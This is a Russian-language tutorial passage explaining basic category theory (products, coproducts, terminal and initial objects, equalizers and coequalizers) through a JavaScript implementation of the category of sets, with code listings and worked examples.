В файле Category.js определен абстрактный класс «категория», от которого должны наследоваться специфические категории. Также в нём определены примеси «полная категория» и «кополная категория» и их смесь «биполная категория». Категория множеств, которую мы будем рассматривать далее, как-раз является биполной категорией и к ней «примешиваются» некоторые универсальные алгоритмы, которые могут использоваться в любой биполной категории. Они реализованы именно в виде примесей, потому что JavaScript не поддерживает множественное наследование. Далее всё это объясняется подробнее.
В файле Set.js определена 1) категория множеств, 2) сами множества, 3) функции и 4) некоторые пределы категории множеств. Теоретически класс Set можно заменить на Set из ES6. Функции реализованы в виде так называемых [графиков](https://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B0%D1%84%D0%B8%D0%BA_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8), т.е. в них в явном виде хранятся:
* допустимое множество входных элементов – домен (область определения);
* допустимое множество результирующих элементов – кодомен (область значений);
* множество пар: входной элемент и соответствующий ему результирующий элемент.
Домен и кодомен хранятся в явном виде, чтобы можно было проверять допустима ли композиция двух функций. Она допустима только если домен 1-ой функции совпадает с кодоменом 2-ой. Также домен используется при проверке того действительно ли функция является полной или это [частично определенная функция](https://en.wikipedia.org/wiki/Partial_function). Если вы посмотрите код, там очень много подобных проверок (вызовы assert).
Наверное, возможно хранить функции именно в виде функций, а не их графиков, но это пока не принципиально.
В файле SetCategoryView.js рисовалка диаграмм для категории множеств, основанная на d3. Почти все иллюстрации в статье нарисованы с её помощью. К слову, в 4-ой версии d3 усовершенствовали Force Layout, теперь там можно самостоятельно определять произвольные силы. Усовершенствовали drag'n'drop, если я не ошибаюсь, то раньше он работал только для svg, а сейчас легко поддерживается и для canvas. В этой рисовалке вы теоретически можете найти что-то интересное, но она требует полного рефакторинга.
В файле Set.html все примеры из данной статьи.
### Реализация категории множеств
Далее я буду описывать различные конструкции из категории множеств и как они реализуются в коде. Сама она реализована в виде следующей фабрики:
```
function SetCategory() { }
extend(SetCategory, Category, BicompleteCategory);
SetCategory.prototype.object = function (elements) {
return new Set(elements);
};
SetCategory.prototype.morphism = function (A, B, mapping) {
return new TotalFunction(A, B, mapping);
};
SetCategory.prototype.id = function (A) {
return this.morphism(A, A).initId();
};
SetCategory.prototype.compose = function (g, f) {
return g.compose(f);
};
```
Категория множеств наследуется от абстрактной категории и к ней примешивается поведение биполной категории.
Данная фабрика позволяет создавать
* объекты (которые являются множествами);
* морфизмы (которые являются функциями, отображающими элементы некоторого множества A на элементы некоторого множества B);
* тождественные морфизмы (которые являются тождественными отображениями некоторого множества A на себя);
* композиции двух морфизмов.
Честно говоря, я не сразу осознал почему категории должны быть фабриками. Скажем, множества, списки, стеки, деревья, графы и другие структуры обычно в явном виде хранят все свои элементы. Категории – это вроде аналогичные математические структуры, но почему они реализуются иначе? Почему нельзя реализовать категорию как хранилище её объектов и морфизмов? Потому, что в общем случае категория содержит бесконечное количество объектов и морфизмов. Причём, из них нам нужны всего лишь несколько. И их нужно не столько хранить, сколько конструировать на их основе новые объекты и морфизмы.
Создадим несколько объектов и морфизмов:
```
var setCat = new SetCategory();
var obj123 = setCat.object([1,2,3]);
var objAB = setCat.object(['a','b']);
var objABCD = setCat.object(['a','b','c','d']);
var f = setCat.morphism(obj123, objABCD, {1: 'c', 2: 'c', 3: 'd'});
var g = setCat.morphism(objABCD, objAB, {'a': 'a', 'b': 'b'});
var h = setCat.morphism(objAB, obj123, {'a': 1, 'b': 1});
showSetCategoryView('diagram1', setCat, {'A': obj123, 'B': objABCD, 'C': objAB},
{'f': {dom: 'A', codom: 'B', morphism: f},
'g': {dom: 'B', codom: 'C', morphism: g},
'h': {dom: 'C', codom: 'A', morphism: h}});
```
Жаль, что нельзя вставлять в статью выполняемый JavaScript код. Поэтому придётся вставлять картинки, но повторюсь, что подвигать всё это можно [тут](https://aresekb.github.io/categoricaljs/Set.html).
### Эпиморфизм, мономорфизм, изоморфизм
Ок, мы умеем создавать объекты, морфизмы и красиво их рисовать. Что дальше?
Объекты и морфизмы могут обладать различными свойствами и значительная часть теории категорий посвящена описанию и изучению этих свойств. Наша реализация теории категорий должна уметь проверять эти свойства и должна уметь конструировать объекты и морфизмы с определенными свойствами. Начнём с самых простых свойств.
Напомню, что морфизмы в категории множеств – это функции. Из школы вы наверняка помните, что функции могут быть сюръекциями, инъекциями, биекциями. Я обещал, что не будет строгих определений и всё будет объясняться на пальцах, поэтому получайте:
Сюръекция – это функция, которая принимает все значения из своей области значений. Скажем, функция возведения в квадрат, определенная на множестве целых чисел, не является сюръекцией, потому что она не принимает значения 2, 3, 5, …
Инъекция – это функция, которая отображает разные элементы исходного множества в разные элементы результирующего множества. При этом область значений функции может содержать некоторые дополнительные элементы, у которых нет прообраза в области определения.
Биекция – это отображение один-к-одному. Функция является биекцией тогда и только тогда, когда она является одновременно сюръекцией и инъекцией.
Для других математических объектов (например, графов) существуют некие аналоги сюръекций, инъекций и биекций. Поэтому в теории категорий, раз эта теория обо всём, решили эти понятия обобщить и ввели соответственно эпиморфизмы, мономорфизмы и изоморфизмы.
**В чём же заключается это обобщение? В том, что в теории категорий мы полностью абстрагируемся от внутреннего устройства объектов и морфизмов. Вместо того, чтобы определять эти виды морфизмов через кружочки и стрелочки, как это сделано на рисунках выше, они определены через соотношения с другими морфизмами.**
Эпиморфизм – это морфизм e : A → B, такой что из всякого равенства f ∘ e = g ∘ e следует f = g (другими словами, на e можно сокращать справа).
Чтобы было понятно о чём идёт речь, приведу пример НЕ эпиморфизма:
Диаграмма выше коммутативна (f ∘ h = g ∘ h). Чтобы в этом убедиться, вы можете пройти по стрелочкам от каждого элемента множества A и, независимо от выбранного пути, вы всегда придёте к одному и тому же элементу множества C. Т.е. функции f ∘ h и g ∘ h для одинаковых аргументов возвращают одинаковые результаты. Но(!) из этого не следует равенство функций f и g. Для элемента «1» они возвращают разные значения: «a» и «b». А, вот, если бы функция h была эпиморфизмом, то из коммутативности диаграммы следовало бы равенство f и g.
Далее я не буду так подробно описывать «переходы по стрелочкам через кружочки», просто имейте в виду, что, когда в категории множеств идёт речь о коммутативных диаграммах, вы всегда можете проверить эту коммутативность таким способом.
**Ещё раз отмечу, что мы описали сюръективные функции только через соотношение с другими функциями, полностью абстрагируясь от деталей их внутреннего устройства. В этом суть теории категорий.**
Мономорфизм – это морфизм m : A → B, такой что из всякого равенства m ∘ f = m ∘ g следует f = g (другими словами, на m можно сокращать слева).
Изоморфизм – это морфизм f : A → B, для которого существует обратный, т.е. существует морфизм g : B → A, такой что f ∘ g = idB и g ∘ f = idA.
Вот, тут небольшой сюрприз. Не во всех категориях из того, что морфизм является эпиморфизмом и мономорфизмом следует, что он также является и изоморфизмом. Это демонстрирует то, что категория множеств конечно хороша для визуализации каких-то понятий, но может приводить к ложным аналогиям.
### Конечный, начальный и нулевой объект
Конечный объект – это объект T, такой что для любого объекта X существует единственный морфизм u : X → T.
В категории множеств конечный объект – это синглетон, а уникальный морфизм – это функция, отображающая любой элемент исходного множества в единственный элемент синглетона. Терминальных объектов в категории множеств бесконечное количество, однако, все они изоморфны друг другу. Это значит, что с точки зрения теории категорий неважно о каком именно синглетоне идёт речь, всё, что верно для одного с точностью до изоморфизма будет верно и для любого другого синглетона.
Начальный объект – это объект I, такой что для любого объекта X существует единственный морфизм u : I → X.
В категории множеств начальный объект – это пустое множество, а уникальный морфзим, определённый на пустом множестве – это пустая функция. Причём, существует единственное пустое множество, соответственно, в категории множеств единственный начальный объект.
Нулевой объект – это объект, который является одновременно начальным и конечным объектом.
В категории множеств нулевых объектов нет, т.к. множество не может одновременно быть пустым и быть синглетоном.
Отметим несколько важных моментов.
**Начальные и конечные объекты – это дуальные понятия, они эквивалентны с точностью до обращения направления морфизмов. Начальный объект будет конечным объектом в двойственной категории (категории с такими же объектами и операцией композиции, но морфизмами, направленными в обратном направлении). Идея дуальности или двойственности очень важна в теории категорий. Далее вы увидите ещё несколько примеров двойственных понятий.**
К слову, конечные объекты можно называть коначальными, а начальные – коконечными, но тут мы уже попадаем в область одного [фундаментально нового языка программирования](https://github.com/Ky6uk/PETOOH). Если добавить или убрать у понятия приставку «ко-», то получим дуальное понятие. Кококонечные объекты я не встречал, хотя специалист по теории категорий должен понять, что речь идёт о начальных объектах.
В определениях выше ничего не говорится о морфизмах, направленных от конечного объекта. А они существуют. Например, некий морфизм f : {1} → {1,2,3,4} с графиком {(1,1)} или морфизм g с такой же сигнатурой, но графиком {(1,2)}. Т.е. они мало того, что существуют, но ещё и не уникальны и, забегая вперёд, играют достаточно важную роль. Поэтому представление о конечных объектах как об объектах, морфизмы которых направлены только к ним, не верно.
Насчёт морфизмов, направленных к начальным объектам, не могу ничего сказать. Я предполагаю, что в категории множеств их либо нет, либо это пустые уникальные функции. В принципе, почему бы им и не быть. Но тогда, каждое множество будет изоморфно пустому множеству. Если кто-то может прояснить этот момент, было бы отлично.
### Универсальное свойство и самый важный момент
Обратите внимание на фразу «… существует единственный морфизм …» в определениях выше. Она повсеместно встречается в работах по теории категорий. Это называется «[универсальное свойство](https://en.wikipedia.org/wiki/Universal_property)».
**Универсальное свойство позволяет определить понятие, абстрагируясь от деталей. Вы видите, что начальный и конечный объекты определены без упоминания пустых множеств, синглетонов, да, и, вообще, каких-либо структур. Вот, это настоящая абстракция!** Я думаю, что в руководствах по теории категорий для разработчиков нужно говорить в первую очередь именно о таких вещах, а не о [декартово замкнутых категориях](https://en.wikipedia.org/wiki/Cartesian_closed_category) или [монадах](https://ru.wikipedia.org/wiki/%D0%A0%D0%BE%D0%B7%D0%B0_%D0%9C%D0%B8%D1%80%D0%B0).
Иными словами, в теории категорий вы определяете объекты, делая акцент не на описании их внутренней реализации, а на описании их внешнего поведения, того как они могут «взаимодействовать» с другими объектами, фактически вы описываете их интерфейс. Правда, немного иначе, чем это обычно делается в языках программирования, но этим теория категорий и интересна.
Вследствие абстрагирования от деталей универсальное свойство определяет объект с точностью до изоморфизма. Выше мы уже отмечали, что в категории множеств все конечные объекты (синглетоны) изоморфны. Но это верно для любых объектов, определенных через универсальное свойство. В принципе, это вполне логично: если два объекта внешне «ведут себя» одинаково (для них выполняется одно универсальное свойство), значит они изоморфны.
**И, наверное, самый важный момент, который лежит в основе всего этого цикла статей. За универсальными свойствами обычно стоит некоторая оптимизационная задача, заключающаяся в поиске наилучших в некотором смысле объектов или морфизмов. Мы вернёмся к этому в разделе про уравнители.**
### Реализация конечных и начальных объектов
**Слишком много теории, посмотрим, как конечные и начальные объекты реализованы в коде.**
```
SetCategory.prototype.terminal = function () {
return new SetTerminalObject(this).calculate();
};
function SetTerminalObject(cat) {
this.cat = function () { return cat; };
}
SetTerminalObject.prototype.calculate = function () {
this.obj = new Set([1]);
return this;
}
SetTerminalObject.prototype.univ = function (A) {
var mapping = {};
A.forEach(function (el) {
mapping[el] = 1;
});
return this.cat().morphism(A, this.obj, mapping);
}
SetCategory.prototype.initial = function () {
return new SetInitialObject(this).calculate();
};
function SetInitialObject(cat) {
this.cat = function () { return cat; };
}
SetInitialObject.prototype.calculate = function () {
this.obj = new Set();
return this;
}
SetInitialObject.prototype.univ = function (A) {
return this.cat().morphism(this.obj, A, {});
}
```
У вас, возможно, возник вопрос: зачем столько кода для реализации синглетона и ПУСТОГО множества???
Конечный и начальный объекты – это не просто какие-то множества. Для них ещё должно выполняться универсальное свойство, которое имеет не какой-то теоретический характер, но оно активно используется в вычислениях. Например, при вычислении дополнения к кодекартову квадрату вычисляется универсальный морфизм для суммы объектов. Мы вернёмся к этому позже.
В нашей реализации у конструкций, обладающих универсальным свойством, будут методы:
* calculate – создаёт некоторую универсальную конструкцию или собирает её из других конструкций,
* complement – создаёт универсальную конструкцию из не очень типичных компонентов,
* univ – вычисляет для данной конструкции универсальные морфизмы.
### Произведение
Продолжим нестрогие определения на пальцах и рассмотрим чуть более сложные объекты.
Произведение объектов Xj – это объект X и морфизмы πj : X → Xj, называемые каноническими проекциями, такие что для любого объекта Y и морфизмов fj : Y → Xj существует единственный морфизм u : Y → X, такой что πj ∘ u = fj.
В теории категорий вместо написания равенств вида πj ∘ u = fj можно нарисовать подобную диаграмму и сказать, что она коммутативна (пример для двух объектов, но в общем случае их может быть больше):
В категории множеств произведение объектов – это декартово произведение множеств.
На рисунке произведение обозначено как AxB, а его элементы – как пары элементов из исходных множеств. Но это сделано для наглядности и совершенно не обязательно! Произведение можно назвать как угодно, а его элементами могут быть
* 1, 2, 3, …
* квадратик, кружочек, треугольничек, …
* или что угодно.
**Произведение определено не как множество пар значений, а через соотношения между морфизмами. Сравните определения декартова произведения множеств и произведения объектов в теории категорий – они не имеют ничего общего. Вы снова видите пример абстрагирования от деталей в теории категорий.**
**В коде произведение реализовано следующим образом.**
```
SetCategory.prototype.product = function (A, B) {
return new SetProduct(this).calculate(A, B);
};
function SetProduct(cat) {
this.cat = function () { return cat; };
}
SetProduct.prototype.calculate = function (A, B) {
var obj = new Set();
var mapping1 = {};
var mapping2 = {};
A.forEach(function (x) {
B.forEach(function (y) {
var z = [x, y].toString();
obj.add(z);
mapping1[z] = x;
mapping2[z] = y;
});
});
this.obj = obj;
this.f = this.cat().morphism(this.obj, A, mapping1);
this.g = this.cat().morphism(this.obj, B, mapping2);
return this;
};
SetProduct.prototype.univ = function(m, n) {
assertEqualDom(m, n);
assertEqualCodom(this.f, m);
assertEqualCodom(this.g, n);
var obj = m.dom();
var mapping = {};
obj.forEach(function (x) {
var s1 = this.f.preimage(m.image(x));
var s2 = this.g.preimage(n.image(x));
mapping[x] = s1.intersection(s2).representative();
}.bind(this));
var u = this.cat().morphism(obj, this.obj, mapping);
assertCommutes(this.f.compose(u), m);
assertCommutes(this.g.compose(u), n);
return u;
};
```
Обратите внимание, что в функции calculate вычисляется не только декартово произведение множеств, но и два морфизма – канонические проекции произведения на исходные объекты. В большинстве вычислений именно они играют основную роль и, грубо говоря, они гораздо важнее множества.
Функция univ вычисляет универсальный морфизм (u – на диаграмме выше) для некоторого объекта и пары морфизмов. Посмотрим, чем может быть полезен универсальный морфизм произведения.
На следующей диаграмме вы видите объекты A и B, их произведение AxB, а также некоторый произвольный объект C с морфизмами f1 и f2.
Вы видите, что элемент «1» множества C отображается на элемент «1» множества A и на элемент «a» множества B. Точно также как элемент «1,a» множества AxB. При вычислении универсального морфизма мы устанавливаем этот факт и конструируем универсальный морфизм таким образом, чтобы он отображал элемент «1» множества C на элемент «1,a» множества AxB.
Элементы «4» и «5» множества C отображаются морфизмами f1 и f2 на одни и те же элементы. Поэтому универсальный морфизм отображает их на один элемент «2,b» множества AxB.
Для наглядности представим, что C – это множество обезьянок. f1 каждую обезьянку относит к одной из категорий: красивая или некрасивая, а f2 – к одной из категорий: умная или глупая. Тогда универсальный морфизм u относит каждую обезьянку к одной из четырех категорий: красивая и умная, красивая и глупая, некрасивая и умная, некрасивая и глупая.
Фактически, универсальный морфизм для произведения – это произведение морфизмов.
Произведение в разном виде реализовано в различных языках программирования. Это и структуры, и кортежи, и всяческие join’ы в SQL, LINQ и т.п. Почитайте про [типы-произведения](https://en.wikipedia.org/wiki/Product_type).
В JavaScript канонические проекции произведения можно рассматривать как деструкторы или акцессоры:
```
monkeyKind.a
monkeyKind.b
```
а универсальные морфизмы – как конструкторы:
```
function u(x) {
return { a : isBeautiful(x), b : isSmart(x) };
}
```
В теории категорий акцессоры часто называют деструкторами, потому что они позволяют разобрать сложный объект на составные части, они дуальны конструкторам. При вызове такого деструктора объект совершенно не обязательно должен уничтожаться.
### Сумма
Сумма объектов Xj – это объект X и морфизмы ij : Xj → X, называемые каноническими вложениями, такие что для любого объекта Y и морфизмов fj : Xj → Y существует единственный морфизм u : X → Y, такой что u ∘ ij = fj.
Пример коммутативной диаграммы для двух объектов:
В категории множеств сумма объектов – это дизъюнктивное объединение множеств. Т.е. если в объединяемых множествах есть совпадающие объекты, то эти объекты не будут сливаться, а, грубо говоря, будут некоторым образом отмечены, чтобы можно было понять из какого множества каждый объект.
В теории множеств элементы дизъюнктивного объединения обычно помечают некоторым тегами или индексами, например, 1A, 2A, 3A, aB, bB. Но в нашем примере элементы суммы – это просто числа от 1 до 5, которые связаны с элементами исходного множества морфизмами f и g. И именно эти морфизмы «помечают» элементы суммы. Как и для произведения само множество без морфизмов не играет особой роли.
Очевидно, что произведение и сумма – это дуальные понятия. Они сформулированы аналогично с точностью до обращения морфизмов.
Но на этом обобщения не заканчиваются. Произведение и сумма очень похожи на конечный и начальный объекты соответственно. Для произведений и конечных объектов можно *от каждого* объекта категории, удовлетворяющего определённым условиям, построить универсальный морфизм – такие конструкции называют *пределами*. Для суммы и начального объекта можно *к каждому* объекту категории, удовлетворяющему определённым условиям, построить универсальный морфизм – такие конструкции называют *копределами*. Далее вы увидите ещё несколько примеров пределов и копределов.
В общем случае (ко)пределы – это (ко)конусы, определенные для некоторой диаграммы. Как я уже говорил, диаграмма – это функтор из некоторой индексной категории в текущую категорию. Если грубо, то индексная категория определяет «форму», «вид» диаграммы и в итоге определяет какой (ко)предел мы получим (конечный объект, произведение, …). Если дальше развивать эту мысль, то мы рискуем вызвать какодемона.
Короче, идея в том, что даже такие общие понятия, которые мы рассмотрели выше, можно обобщить ещё сильнее.
Чтобы запомнить, чем пределы отличаются от копределов, обратите внимание на то, что универсальные морфизмы всегда направлены (стремятся) к некоторому «предельному» объекту. Равно как и пределы последовательностей или функций стремятся к некоторому значению.
**Реализация суммы объектов аналогична реализации других (ко)пределов.**
```
SetCategory.prototype.coproduct = function (A, B) {
return new SetCoproduct(this).calculate(A, B);
};
function SetCoproduct(cat) {
this.cat = function () { return cat; };
}
SetCoproduct.prototype.calculate = function (A, B) {
this.obj = new Set();
var elementCount = 1;
function createInjection(set, obj) {
var mapping = {};
set.forEach(function (x) {
obj.add(elementCount);
mapping[x] = elementCount;
elementCount++;
});
return mapping;
}
this.f = this.cat().morphism(A, this.obj, createInjection(A, this.obj));
this.g = this.cat().morphism(B, this.obj, createInjection(B, this.obj));
return this;
};
SetCoproduct.prototype.univ = function(m, n) {
assertEqualCodom(m, n);
assertEqualDom(this.f, m);
assertEqualDom(this.g, n);
var obj = m.codom();
var mapping = {};
function addMappings(f, h) {
h.dom().forEach(function (x) {
mapping[f.image(x)] = h.image(x);
});
}
addMappings(this.f, m);
addMappings(this.g, n);
var u = this.cat().morphism(this.obj, obj, mapping);
assertCommutes(u.compose(this.f), m);
assertCommutes(u.compose(this.g), n);
return u;
};
```
Попробуем разобраться, что делает универсальный морфизм суммы объектов.
Напомню, что канонические проекции произведения можно рассматривать как деструкторы произведения объктов, а универсальный морфизм – как конструктор. Сумма – это дуальное понятие.
Соответственно, канонические вложения можно рассматривать как конструкторы суммы объектов, а универсальный морфизм – как деструктор. Почитайте про [типы-суммы](https://en.wikipedia.org/wiki/Sum_type). В том или ином виде они реализованы в очень разных языках программирования. Как правило, в качестве примеров приводят [алгебраические типы данных](https://en.wikipedia.org/wiki/Algebraic_data_type) и [сопоставление с образцом](https://en.wikipedia.org/wiki/Pattern_matching). Но в JavaScript этого нет, поэтому приведу немного другой пример.
Пусть у нас есть два вида обезьянок – шимпанзе и гориллы – с соответствующими конструкторами:
```
function Chimpanzee() { }
function Gorilla() { }
```
Пусть для шимпанзе нам нужно вычислять некоторую функцию p, а для горилл – q, при этом область значений обоих функций – это некоторое множество C. Например, C – это перечисление: маленькая, средняя, большая. Функция p вычисляет категорию, к которой относится шимпанзе в зависимости от размера, а функция q вычисляет категорию для гориллы:
```
function u(x) {
if (x instanceof Chimpanzee) {
return p(x);
}
else if (x instanceof Gorilla) {
return q(x);
}
}
```
### Вычитание (дополнение к сумме)
Если вы что-то читали по теории категорий, то вряд ли увидели выше для себя что-то новое. А слышали ли вы, например, о вычитании объектов в теории категорий? Идея совершенно очевидная, правда, в англоязычных статьях обычно говорят о вычислении coproduct complement. На русский язык можно перевести как вычисление дополнения к сумме объектов. Но, по сути, это операция вычитания.
Пусть имеется сумма объектов A+B, один из слагаемых объектов A и соответствующее ему каноническое вложение i1. Или просто каноническое вложение i1, доменом которого является A, а кодоменом – A+B. Если мы вычислим другой канонический морфизм i2, то фактически вычтем из суммы одно из слагаемых:
**Реализовано это следующим образом.**
```
SetCategory.prototype.coproductComplement = function (f) {
return new SetCoproduct(this).complement(f);
};
SetCoproduct.prototype.complement = function (f) {
this.obj = f.codom();
this.f = f;
this.g = this.cat().morphism(f.codom().diff(f.image()), this.obj).initId();
return this;
};
```
В общем случае сумма объектов может быть N-арной, а не только бинарной. Однозначно вычислить дополнение можно только для бинарной суммы. Дополнения к суммам нам потребуются позже для вычисления дополнений к кодекартовым квадратам.
### Уравнитель
Выше мы уже рассмотрели (ко)пределы для пустых диаграмм (конечные и начальные объекты) и для дискретных объектов (произведение и сумма). Теперь рассмотрим (ко)пределы для пары параллельных морфизмов, т.е. морфизмов с общими доменом и кодоменом.
Уравнитель параллельных морфизмов f, g : X → Y – это объект E и морфизм eq : E → X, такие что f ∘ eq = g ∘ eq и для любого объекта O и морфизма m : O → X если f ∘ m = g ∘ m, то существует уникальный морфизм u : O → E, такой что eq ∘ u = m, т.е. следующая диаграмма коммутативна.
Охх… В своё время я прочитал несколько учебников по теории категорий. И где-то на этом месте переставал понимать о чём вообще идёт речь. Это происходило по двум причинам. Во-первых, я ленился рисовать множества и функции на бумаге и при этом, не будучи Григорием Перельманом, не мог сконструировать всё это в воображении. Как следствие, я не понимал эти конструкции даже для категории множеств, не говоря о других категориях. Далее будут диаграммы, на которых визуально виден смысл уравнителя. Во-вторых, даже более простые произведение и сумму объектов я понимал только на интуитивном уровне, не понимая смысл универсального свойства. В общем-то и в этой статье я пока не рассматривал толком универсальное свойство. Разберёмся с ним более детально на примере уравнителя.
Сначала разберёмся с условием f ∘ eq = g ∘ eq. Для удобства изобразим объект X и морфизм eq дважды, чтобы морфизмы f и g не накладывались друг на друга.
Морфизмы f и g отображают элемент «1» множества X на элемент «a» множества Y. Следовательно, если морфизм eq будет отображать некий элемент «1» множества E на элемент «1» множества X, то будет выполнено равенство f(eq(1)) = g(eq(1)) = a. На рисунке видно, что пути, начинающиеся с элемента «1» в множестве E, заканчиваются одними и тем же элементом в множестве Y.
Морфизм f отображает элемент «2» на элемент «a», а морфизм g отображает элемент «2» на элемент «b». Следовательно, как не реализуй отображение eq, при прохождении через элемент «2» в множестве X пути разойдутся. Т.е. какой элемент не подставь вместо вопросительного знака f(eq(?)) = a никогда не будет равно g(eq(?)) = b, потому что элемент «a» не равен «b».
Продолжаем эти рассуждения для оставшихся элементов множеств X и Y и таким образом завершаем формирование E и eq. Только элементы «1» и «3» отображаются функциями f и g одинаково.
Это должно быть относительно понятно, при вычислении E и eq мы действительно находим что-то общее между f и g. Но зачем в определении объект O и морфизмы m и u? Дело в том, что множество E и морфизм eq, которые мы сконструировали, не уникальные. Добавим на диаграмму O и m, для которых тоже выполняется f ∘ m = g ∘ m.
**Получается, что m уравнивает f и g не хуже, чем eq. Чем вообще eq лучше m? Таких уравнителей мы можем построить бесконечное количество. Очевидно, что E и eq проще, чем O и m и поэтому, наверное, лучше. Но в теории категорий мы не можем сказать, что морфизм уравнителя должен содержать наименьшее количество элементов, потому что, как я уже отмечал, мы максимально абстрагируемся от внутреннего устройства объектов и морфизмов. В какой-нибудь другой категории нет никаких множеств и функций, поэтому привязываясь к количеству элементов, мы очень сильно ограничили бы применимость уравнителей.**
Итак, как из всех потенциальных уравнителей выбрать лучший? На помощь приходит универсальное свойство. От объекта E к объекту O можно провести два морфизма h, для которых выполняется условие m ∘ h = eq, это {(1,1),(3,3)} и {(1,2),(3,3)}. А, следовательно, O и m не являются уравнителем, так как для них не выполняется универсальное свойство.
А, вот, для E и eq универсальное свойство как-раз выполняется. Мы можем вычислить универсальный морфизм для O и m и получим u = {(1,1),(2,1),(3,3)}. Для других O и m, для которых выполняется f ∘ m = g ∘ m, универсальный морфизм будет другой, но всё равно уникальный.
А что если O и m будут соответственно такого же размера как E и eq? Какой уравнитель будет лучше? Они изоморфны, с точки зрения теории категорий не существенно какой выбрать.
И только скажите, что теория категорий не нужна простому работяге, фигачящему на JavaScript! Нужна, она позволяет узреть истинное абстрагирование, а не то, что называют абстрагированием всякие ООПшники и иже с ними (ирония).
**Реализация в коде не особо сложнее реализации (ко)пределов, рассмотренных ранее.**
```
SetCategory.prototype.equalizer = function (f, g) {
return new SetEqualizer(this).calculate(f, g);
};
function SetEqualizer(cat) {
this.cat = function () { return cat; };
}
SetEqualizer.prototype.calculate = function (f, g) {
assertParallel(f, g);
this.f = function () { return f };
this.g = function () { return g };
var dom = new Set();
var codom = f.dom();
this.q = this.cat().morphism(dom, codom);
f.dom().forEach(function (x) {
if (f.image(x) == g.image(x)) {
dom.add(x);
this.q.push(x, x);
}
}.bind(this));
this.obj = this.q.dom();
assertCommutes(f.compose(this.q), g.compose(this.q));
return this;
}
SetEqualizer.prototype.univ = function (m) {
assertEqualCodom(this.q, m);
assertCommutes(this.f().compose(m), this.g().compose(m));
var mapping = {};
m.forEach(function (x, y) {
mapping[x] = this.q.preimage(y).representative();
}.bind(this));
var u = this.cat().morphism(m.dom(), this.obj, mapping);
assertCommutes(this.q.compose(u), m);
return u;
};
```
Отметим ещё один момент. В учебниках по теории категорий написано, что любой уравнитель – это мономорфизм. Внимательный читатель наверняка заметил, что условие f ∘ eq = g ∘ eq для уравнителя очень похоже на условие f ∘ m = g ∘ m для… эпиморфизма. Стоп, почему эпиморфизма, а не мономорфизма? В данном случае схожесть уравнений приводит к возникновению ложных аналогий.
Равенство для эпиморфизма можно сократить на эпиморфизм и при этом будет выполняться равенство f = g. А, вот, если сократить равенство на уравнитель, то морфизм f не будет равен g. Скорее наоборот, уравнитель, как правило, применяется к неравным морфизмам. В этом легко убедиться, если ещё раз посмотреть на рисунки выше. Морфизмы f и g не равны, а уравнитель eq не является сюръекцией (эпиморфизмом в категории множеств).
Ок, но почему он тогда является мономорфизмом? Это следует из универсального свойства. Любые два морфизма от некоторого объекта O к объекту E будут равны. С другой стороны, видно, что в нашем примере уравнитель – это инъекция (мономорфизм в категории множеств), и универсальное свойство гарантирует, что это всегда будет инъекция.
Зачем я описываю всю эту жесть? Чтобы ещё раз показать, что для «простых» категорий можно понять смысл разных конструкций или теорем, представляя какие реальные вещи (множества, функции) за всем этим стоят. Вы никогда не поймёте, что всё это значит, если не будете рисовать подобные картинки.
### Коуравнитель
Коуравнитель параллельных морфизмов f, g : X → Y – это объект Q и морфизм q : Y → Q, такие что q ∘ f = q ∘ g и для любого объекта O и морфизма m : Y → O если m ∘ f = m ∘ g, то существует уникальный морфизм u : Q → O, такой что u ∘ q = m, т.е. следующая диаграмма коммутативна.
Как видите, определение аналогично определению уравнителя, только морфизмы направлены в обратную сторону. Однако, вычислительная составляющая коуравнителя, на первый взгляд, не имеет ничего общего с тем, что мы рассматривали в предыдущем разделе.
Рассмотрим это на примере конкретных множеств и функций.
Оба морфизма f и g, для которых мы вычисляем коуравнитель, отображают элемент «1» множества X на элемент «a» множества Y. Чтобы выполнялось равенство q(f(1)) = q(g(1)), достаточно, чтобы морфизм q просто отображал элемент «a» на некий элемент «a» множества Q.
Морфизм f отображает элемент «2» на элемент «b», а морфизм g отображает элемент «2» на элемент «c». Чтобы выполнялось равенство q(f(2)) = q(g(2)), морфизм q должен отображать элементы «b» и «c» на некий элемент «b» множества Q. Иными словами, мы объединили элементы «b» и «c» в один класс эквивалентности «b».
Морфизм f отображает элемент «3» на элемент «c», а морфизм g отображает элемент «3» на элемент «d». Как и ранее, это означает, что «c» и «d» необходимо объединить в один класс эквивалентности. Однако «c» уже принадлежит классу «b», поэтому мы не создаём новый класс, а просто относим элемент «d» к классу «b».
Аналогично создаём класс эквивалентности «e» для элементов «e» и «f». И завершаем формирование коуравнителя Q с морфизмом q.
Однако, руководствуясь такой логикой, мы можем построить некоторый объект O с морфизмом m, для которых так же как и для коуравнителя выполняется условие m ∘ f = m ∘ g. Причём, O и m будут даже проще, чем Q и q.
Но O и m не будут являться коуравнителем, потому что для них не выполняется универсальное свойство, и поэтому они в некотором смысле хуже, чем Q и q. Хуже тем, что они слишком простые, они не различают классы «a» и «b», смешивая их в класс «1».
**Обратите внимание на то, что универсальное свойство уравнителя позволяет отобрать наименьшие объект и морфизм среди всех потенциально подходящих. А универсальное свойство коуравнителя – позволяет отобрать наибольшие объект и морфизм. Наверное, многие подобные задачи структурной оптимизации можно свести к поиску (ко)пределов в той или иной категории.**
**Вот, как коуравнители реализованы в коде.**
```
SetCategory.prototype.coequalizer = function (f, g) {
return new SetCoequalizer(this).calculate(f, g);
};
function SetCoequalizer(cat) {
this.cat = function () { return cat; };
}
SetCoequalizer.prototype.calculate = function (f, g) {
assertParallel(f, g);
this.f = function () { return f };
this.g = function () { return g };
var dom = f.codom();
var codom = new Set();
var eq = {};
f.dom().forEach(function (x) {
var fx = f.image(x);
var gx = g.image(x);
eq[fx] = eq[gx] = has(eq, fx) ? eq[fx] : has(eq, gx) ? eq[gx] : fx;
});
this.q = this.cat().morphism(dom, codom);
dom.forEach(function (s) {
var t = eq[s] || s;
codom.add(t);
this.q.push(s, t);
}.bind(this));
this.obj = this.q.codom();
assertCommutes(this.q.compose(f), this.q.compose(g));
return this;
}
SetCoequalizer.prototype.univ = function (m) {
assertEqualDom(this.q, m);
assertCommutes(m.compose(this.f()), m.compose(this.g()));
var mapping = {};
m.dom().forEach(function (x) {
mapping[this.q.image(x)] = m.image(x);
}.bind(this));
var u = this.cat().morphism(this.q.codom(), m.codom(), mapping);
assertCommutes(u.compose(this.q), m);
return u;
};
```
